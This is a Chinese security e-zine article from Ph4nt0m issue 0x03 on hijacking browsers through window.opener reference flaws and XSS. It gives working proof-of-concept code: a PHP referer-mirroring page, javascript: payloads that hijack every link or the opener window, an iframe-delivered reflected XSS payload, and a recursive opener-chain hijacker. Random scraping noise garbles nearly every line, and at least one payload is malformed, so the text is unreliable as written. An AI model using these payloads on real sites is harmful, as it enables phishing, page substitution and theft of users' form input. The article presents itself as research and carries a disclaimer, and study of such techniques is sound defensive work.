==Ph4nt0m Security Team==8 n2 I/ t! z8 s; @+ Q; R/ z# _
" f* [+ L* a* B4 ~ x$ Z5 ~
Issue 0x03, Phile #0x05 of 0x07" c6 w$ l3 Z+ O8 S( H
3 c O2 n9 a. y* ]( \1 a* F/ f z. i; y% G; [
|=---------------------------------------------------------------------------=|3 g0 U% h7 z2 Z0 A9 }+ D2 ]9 i' _
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
, R* _6 }$ t8 q6 h* t|=---------------------------------------------------------------------------=|* b: F$ v1 K. J
|=---------------------------------------------------------------------------=|
& Z5 K+ }( O0 F6 R X|=------------------------=[ By rayh4c ]=---------------------------=|
+ O' F" n% m$ ?, u% t|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
" |, ~+ O: R9 J* {1 o* `|=---------------------------------------------------------------------------=|. a3 l7 b# }! g1 S
' z" U0 R, p; v# l9 Y* e0 H; N; E3 b* S j: V# w" e
[目录]
* U5 p6 P# ~% r4 g L8 i) {% f) w% e' |6 P" O
1. 前言9 J" G/ k+ l G; D: D
2. 同源策略简叙8 F: \4 K& _% X* i6 [' r4 e
3. 理解window对象的同源策略
5 x* ~5 ^( |9 J5 {' ~+ [1 [8 k% s4. 窗口引用功能中的同源策略漏洞; N/ O5 \' W, J1 [4 D; W: E. ]
4.1 父窗口引用子窗口的同源策略问题
9 r1 l( D8 H' ?2 y& E, @ 4.2 子窗口引用父窗口的同源策略问题
1 E' \& e( a) L: s @4 q5. 利用窗口引用漏洞劫持浏览器
! W; E8 S0 R* V1 ^" X6 I% q+ T1 S6. 利用XSS漏洞劫持浏览器9 A+ D4 O) i! B" n/ ]( Z) K
6.1 正向跨窗口劫持' T1 h" r" u1 v0 T
6.2 反向跨窗口劫持
: j% h3 S" T2 g2 j% ]1 q& H 6.3 极度危险的跨框架窗口引用劫持
6 b' j) h9 V! ]2 L 6.4 极度危险的正反向跨窗口递归劫持8 f. P$ J9 d$ O: }4 ^1 V
6.5 完全控制浏览器
5 l5 M6 A* ^& K6 F4 l' P7. 后记
, H. [; S2 F5 i1 i8. 参考
) ~% ^5 z& C4 w
" U5 n- ~3 j! D, ^ q' E+ a5 n
一、前言8 [% Z$ D ?8 H9 t& k8 `( `) a d
! g( l: n" G' H0 y* G' |& M; K: M 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
, G" Q6 X$ f, t7 V0 c. ?友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
. P% ^5 g- x: @- Y8 m* V5 f劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被* F+ Q- |3 ^5 f# K
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
; d5 Z4 j) ?) P$ s4 m
6 d. Y: q9 s9 h7 s* z* f' t, k& b, c+ y/ Q; l; ]# [
二、同源策略简叙
1 F) {4 j% |2 H. d3 q i; G! |: \0 u# }; a* z0 B D- X
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
& X+ { x/ }+ P! t$ i! l从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都+ c7 S3 \- j+ ]) b) U
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木& l* h# u5 G, F7 H- s
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
7 @6 F; X h. p. c% U9 A6 S漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。1 O; b2 x) ~' C4 \3 v. n5 z) F
7 K9 e2 A6 j( Z4 ^
0 D- Y, {6 X3 h* [9 U
三、理解window对象的同源策略
# _ R9 |& X: J, d" n* r$ L7 w& v+ [0 X- q3 Y
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, T S( Y" e5 S; o& p5 H. G/ q" N
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:9 e) l3 x, z' h
" y! F! q: A% V! O' P/ n% U1 K
--code-------------------------------------------------------------------------. o8 k2 T) l2 H3 u4 B: w
<script language="javascript">
6 w0 f' G# B, Y- D; t: Ifor(p in window) document.write(p+"<br>");" k+ E% n4 M( x
</script>
( ]( S5 u2 K6 }6 ?, |& s8 L-------------------------------------------------------------------------------7 B. p0 K) Y( N2 N# M) q) r
* {! N2 x, ^8 N5 S) n
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
: X; w5 D7 c6 K# I. q& ^( P: n% t3 k3 D法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
3 ^) ]4 v* D8 `( z4 q这些属性和方法就必须遵循同源策略。
4 j% w7 A v6 X( f" G$ ?. N# E) v3 Z8 d" K
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那1 j4 w3 E4 F! a x: _6 T
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
/ ^" t: P# a0 V- @的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这2 J+ |' @" n/ @, u
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的. X/ y6 t: {( t* [- k$ T7 ]
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location' H$ f! Y* y P. ? [8 ^7 }
属性并没有被拒绝访问。/ P2 D" {/ l9 i
/ c C( O1 ~+ @; ?6 F
--demo.html--------------------------------------------------------------------! a3 I- U2 h0 O4 C1 x
<script language="javascript"> 3 I) k; o, k/ ], p8 H' P& Y
function allPrpos(obj) { % L* N* e# k# d2 S* t5 B' W' C
var props = "<table><tr><td>名称</td><td>值</td>"; * y4 U3 C) u' ^5 k0 |7 u( z
for(var p in obj){ # C- J5 C! {7 `1 F/ Y3 y2 F1 X
if(typeof(obj[p])=="function"){
$ G$ X% ]# h0 p4 P- O. [5 W obj[p]();
$ E3 D1 l) I7 R( |0 v& P }else{
Q, y6 K* [ [$ X) G try * C% b7 T. w$ D; R1 b
{ ! p+ [) Y! c. F# }" m9 K
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
5 |- I9 Q* o1 z5 N, _ } % _' v, r( B, V1 X$ Q4 i
catch (ex) ' C0 S3 H: y2 W( z/ ~: u
{ ) ?8 H# H5 o9 h0 n, K
0 ]* Q) q4 F! r8 x
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 2 j. Q! b* ~. y' V: ]& ~
} - Y8 t) N5 W# b/ t- z
# e3 H! e* Z, _5 d2 v" i
} 2 G$ e, f% h0 q# Z( ]2 I8 G
} % j( @3 ~0 ~& H" H) {8 a7 k* v
' v" j, }) ?/ f document.write(props+"</table>"); 0 k( w; Y( b9 ^: S
} 0 E: t0 j2 K4 }# t
2 K: }0 c5 Z9 y- `! l# H4 r
function createWin() {
$ @. m$ k( o9 o4 n, j newWin = window.open ("http://www.google.com"); . c! t( L" T3 Q" j) ^3 m
setTimeout(function(){allPrpos(newWin)},2000);
9 h# u B" X# F6 w8 ^+ l} * {0 K4 r" w% n# p% V$ n
$ N8 u; [. c& s: f! W
</script>
; {; T' w# L* A& r1 A/ |, p% Z" p( H. e; M
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 J. Y0 f7 F$ Q2 W-------------------------------------------------------------------------------
3 i/ a2 k! L. R# e, M% D! i4 y8 Y7 M" }" y* r
A4 d3 N& p3 b四、窗口引用功能中的同源策略漏洞
% _* m+ C+ N3 F8 w+ O: e+ m
/ a; m4 e! t0 J( a# n( k5 V# p$ f4.1 父窗口引用子窗口的同源策略问题
# S; S _1 l7 w6 }; r" ~0 t9 [" t2 c. [6 Z; j
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,. i& m2 P7 i: W2 O
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道' x, J- D' N- o
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
/ c' Q5 R/ P7 e" V7 A" M( ~行测试,会发现父窗口可以控制非同源子窗口location属性值。
' a/ b5 t0 x) p& n6 `
, {& Y6 y6 e& w0 J* \--vul1.html--------------------------------------------------------------------
7 O, |& R) t2 {: W<script language="javascript"> " j' s, I3 w; k. Q( F/ j4 R
function createWin() {
. ^, ~5 \3 U3 [! o; g1 C4 Z- t9 a newWin = window.open ("http://www.google.com");
+ g0 W$ U0 s2 {: t0 L9 | setTimeout(function(){newWin.location="http://www.80sec.com"},2000); % u' a* Z9 x+ y t; F! j/ L
} ( h* ~9 p W' M& f7 H
</script>
* G! g8 q8 J: t
: N6 g$ Q/ W/ y' y t<button onclick='createWin()'>创建一个非同源子窗口测试</button>4 j+ U2 i- [1 h: {; e4 C5 V+ R
-------------------------------------------------------------------------------
2 d3 H* T7 x. l5 ]2 n% X" R5 G9 T# H5 @( w' v7 Z }0 m7 T' o! o
8 |7 e0 J3 D8 d% d; D3 L; v
4.2 子窗口引用父窗口的同源策略问题, b4 H9 F7 e$ I3 ]- X6 q# M
1 Y2 y) \3 f; Q+ Q! L5 v
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
$ _% ?6 L! }- m5 ~* M用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们+ v; U$ _6 R) x1 d
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定" h& {# F+ N1 A1 S' ]
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
, K8 r1 M, r5 z, Z9 ^% I4 H3 \
) r; O' E8 D; ~* `4 l--code-------------------------------------------------------------------------6 E" c) o- z: T, f
" }* t; K( S; |3 I% Y [
javascript:window.opener.location = "http://www.80sec.com";void(0);
" _, l. _) o, O5 i9 K" o% y# [9 u/ |
-------------------------------------------------------------------------------# K5 a2 S1 b1 L/ d2 p, x6 I
4 \1 ]) h$ ]/ f1 l {" r
) ~) s& Y* K7 r$ d G# A; h1 m/ ]五、利用窗口引用漏洞劫持浏览器9 |# U- z5 \7 d% ^- ]; c& v9 Z
) q* C& y# ?. H3 m% Y, G4 f- {
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子0 n9 m/ T9 T) o
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
, F1 C2 g7 f* I. Z8 O么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。. T; [! x* H& \, n# K
( C2 t3 _4 ^3 L3 @7 g' i 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产* `: x: a) A4 l& N8 |
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
% P3 u: b$ D; z' [者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
. ?3 O9 @) e* Z+ F* H" I/ w% v后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
4 j- v- R. |) {/ J& R. d会产生什么可怕的后果。% ^& q0 L: @; _
" B) s' \" L# _: B4 E8 @0 m
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
6 a' Y3 ]2 v- A们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
0 g5 `( b9 f1 ?5 P这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
) D/ h* X1 Z2 G7 v3 W; j候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
/ {5 y$ G0 y" y1 {6 \以做更多的事情,所有的一切仅仅是因为点击了一个链接。
) y' c3 o- y9 G ~; U1 e/ P& ]7 v2 N2 P5 {
--hjk_ref.php------------------------------------------------------------------
6 V& b- |% s) S+ V1 x. L<?php
; c& Q5 M- [) n$ {if (array_key_exists("HTTP_REFERER", $_SERVER)) {
* t; e2 u( h% e- P# i$Url_Mirror = $_SERVER["HTTP_REFERER"];
- c$ M8 J1 T8 x0 t2 x}
% W5 W! {) {/ C$ W9 z' p' V2 fif(isset ($_GET['ref'])) {& |& r' k. D" C m0 m8 }" `; l
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';, M' ^7 m3 l/ u' E
}( I& T' t0 i" s" ~% t
?>
; C1 P+ D/ L6 _5 U4 ~
# w: Q0 D7 w, n( b/ @<script language="javascript">5 B! t8 p' L( ]. e7 X
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); - o, ?9 ?2 F1 y0 s0 s2 H
</script>
3 }4 y4 F, J+ l-------------------------------------------------------------------------------- f. l# P, e0 N, M/ g9 t- Q
/ y9 D% z2 X- u: B 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
3 D, l; s+ G7 j! b& a9 t, w" O1 e1 v6 H. |1 [+ n
3 S* W; j. C; w2 k/ d6 s
六、利用XSS漏洞劫持浏览器/ Z; _0 ?" ?& _: Y
& \! c; @" | p2 M( `4 u/ z6 t9 o 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为' `) x. }1 R) e8 D
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后( B, S! S- N! g
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起- N6 Y0 ^$ m8 ^- k& @7 s
讨论跨站师的终极技巧:: W6 W7 @- o- B3 y& z4 P) ]0 y
4 ?: e! J6 r5 P" v, \, t) Q4 a3 r& O4 ~% S! W
6.1 正向跨窗口劫持
! U9 {, I' X9 Z3 a; \2 R8 ?' c( Z& b/ Y @" h
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
# ]+ X- x; w6 L主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链- f4 M& F7 e: K
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话6 ~" D7 u5 I8 W% M6 K
框脚本。
! h' h' i. H \& T2 a/ ?, ?) U. \) s" e. [1 `2 Z
--hijack_open.js---------------------------------------------------------------& F6 d% j- \2 D" i5 w) L" p9 _( u
- a+ A$ k ~ J
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
^& A" X# N9 z( {/ M7 k% B# Z$ b# o- P3 c5 f: j1 z6 c" l
-------------------------------------------------------------------------------' }$ G+ x+ ?; c: a1 U* t& r/ l
V/ ^7 f5 S0 B, x5 C
9 a$ c3 h( w; ^8 G2 W8 ?6 L& F6.2 反向跨窗口劫持) e/ X1 g8 O! \
. ~$ [6 @/ v: a6 i6 t' N0 k3 S
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代* f6 l- V2 f- r) u& R
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
& E! A+ D5 T6 \, _框脚本。
( R7 D/ s8 N8 X) b7 O$ h
2 I J0 |" f! D9 D, C--hijack_opener.js-------------------------------------------------------------0 v$ k* ^/ \% ^ \! [3 L N# W
+ m; G; H6 O0 ^. @6 G7 xjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
7 v0 H j R( N- m5 @. J, Y2 w4 N, ~% T
0 K a) W, `& K' J) H2 v8 C-------------------------------------------------------------------------------, A8 U/ _: ~8 k1 A
; u: W$ K$ b# Z2 x3 J2 d- b9 d0 s) e1 {2 j3 i) Z
6.3 极度危险的跨框架窗口引用劫持
/ w; E( ~5 S7 C+ Y- f, k& S* v. P0 ]- X' d* j# q
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
' L" i, g/ s3 Y可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 m( [% q+ m# Q" S' h$ I适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
5 g$ Z0 {+ e: \! S6 v" e非持久型的XSS,如下:
1 d |4 b0 Z/ @# a1 ~8 s
" d2 a U4 f% p0 l+ ]1 O5 A( i<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
. ^* L! l" Q/ V: o$ k
8 [$ p- Y- s; y3 Y2 o 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
" ~4 ^. P) E+ V# a注入脚本。% l w! D0 K- E. S j
$ T. J4 V, P+ |0 S
--hijack_frame_opener.js-------------------------------------------------------
# E3 z) v# u8 z% t! {<script>0 {# n! w0 Y6 C! Z$ k5 Q: g* k
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
2 b7 N7 L/ V0 p</script>
! B/ k% e7 \) Z-------------------------------------------------------------------------------
% n0 C$ t- O, z* V4 j. {, f7 A2 y/ m, C L$ e
* P8 R. G9 }# M( w; H6.4 极度危险的正反向跨窗口递归劫持
3 c" n4 N: K9 N' _" \
. c: H4 H6 Z; A. U0 N% X luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window- R! ?5 U# M. K* Q' u
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过% I7 M" @3 W2 ^1 g. {) D& w
异常处理规避之间跨域页面的访问异常,代码如下:, x' Q% k+ q4 U4 B
/ l' Z r! e5 `/ M5 t. ~" F
--code-------------------------------------------------------------------------
; V6 m: M; F: b
" Y; t. g- |8 qjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
# G/ y; Z4 A6 ^5 f
, j' Y) t7 _, D7 H! l-------------------------------------------------------------------------------" h; k+ p& c4 K
% s% K! A; I+ v/ X% W
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可 X0 m: j% t2 {5 c% L. Q* D' a$ L
以劫持B域之前的A域页面,从而实现“隔空打击”。
! x& \' X1 x# M5 p/ Z5 t7 g0 E1 y$ i- `# D1 K. ~
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
) ?0 Z& N! }- r& ]( s; |执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。3 d& ~" v$ c( K# V
+ ~4 c, } t/ S/ Z `! ~ K
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
/ t s' @# E" q4 {+ u1 o9 x" ~7 B; w; T. v0 q- L5 M/ C. n
! ? L0 u3 W. o6.5 完全控制浏览器 `& `* K. D( W/ F
8 u: U4 c$ }0 H W; J
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
8 r- I9 R) O K( i1 G; [是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
7 C/ d3 L6 Q; X3 t漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
7 D7 J, o( P" Y" A而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再1 {8 ^( ~( {4 u7 n E( w. N
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
" ~7 i/ O2 z- {& R$ W2 t( t师的终极目标 - 完全控制浏览器。) e$ ]8 i+ ]. k* r2 {
8 \/ ]' E+ U$ u6 h6 f6 m$ e! u7 c4 P
七、后记
' Z: d9 D: `( I7 }, }; N& L' v9 i5 v- g6 Z6 i, u+ F- @) x
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全# U5 R( c$ O0 I7 ]3 ?% O3 u& @
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
& J" e) b7 {; o e! \过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
9 \" o- U- i2 L \( E: V& K9 f" N* Q& d- l; w* d1 C( O9 M
9 t" Q" O9 d" l+ R3 p八、参考& p0 d+ p7 H9 c$ I$ d
9 R7 }! v2 H7 d! E" M3 V( l1. http://en.wikipedia.org/wiki/Same_origin_policy
# G: s) y! A0 a7 W# w4 h2. http://code.google.com/p/browser ... licy_for_DOM_access
! i3 c- o' `: M3. http://www.w3.org/TR/Window/5 i9 B; p, \# L3 ^$ @
4. http://www.80sec.com/release/browser-hijacking.txt
% P% q& Q2 }* q' w5. http://www.80sec.com/all-browser-security-alert.html
: x" c8 `0 G0 X) E6. http://www.80sec.com/ms08-058-attacks-google.html
9 `$ i0 j' o" R0 ]9 o$ |* k& S# G R, g, Z* x
-EOF- |